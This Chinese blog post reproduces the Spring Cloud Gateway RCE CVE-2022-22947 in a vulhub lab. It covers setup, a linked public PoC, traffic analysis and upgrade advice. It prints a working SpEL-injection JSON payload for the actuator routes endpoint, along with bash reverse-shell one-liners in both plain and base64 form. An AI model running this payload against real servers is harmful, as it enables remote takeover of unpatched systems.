CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

Docker环境:

漏洞环境:

0x06 漏洞复现:

POC:  

利用POC:

分析POC:

0x07 流量分析:

POC流量: 

反弹shell流量:

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Spring Cloud Gateway是基于Spring Framework 和 Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。建议使用Spring Cloud Gateway的用户及时安排自检并做好安全加固。

0x03 漏洞概述:

        近日,披露Spring Cloud Gateway存在一处远程代码执行漏洞(CVE-2022-22947)。当Spring Cloud Gateway启用、暴露 和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行,利用难度低,目前POC已公开,风险较高。

0x04 影响版本:

        3.1.x系列:Spring Cloud Gateway < 3.1.1

        3.0.x系列:Spring Cloud Gateway < 3.0.7

        其他旧的、不受支持的Spring Cloud Gateway版本

0x05 环境搭建:

        Docker环境:

                参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客

        漏洞环境:

                1、下载vulhub

        (Vulhub环境压缩包_httpdCVE-2022-22963-网络安全文档类资源-CSDN下载

       (https://github.com/vulhub/vulhub

                2、进入vulhub/spring/CVE-2022-22947环境

                3、启动docker环境

                4、访问系统

0x06 漏洞复现:

        POC:  

                (自己写了很多边都回有问题,这里放大佬写好的吧。)

                (https://github.com/j-jasson/CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE)

        利用POC:

         分析POC:

注意上方这里要做反弹shell的时候需要注意格式。

bash -c {echo,xxx}|{base64,-d}|{bash,-i}

                        ||(Base64)

bash -i >& /dev/tcp/192.168.16.129/1234 0>&1  

 主要特征为:url + /actuator/gateway/routes/

0x07 流量分析:

         POC流量: 

                请求url:192.168.18.130:8080/actuator/gateway/routes/hacktest

                传递参数:

{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEyMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\")).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }

                响应码:201 

        反弹shell流量:

0x08 修复建议:

        1、目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本。

        Tags · spring-cloud/spring-cloud-gateway · GitHub

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Evan Kang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值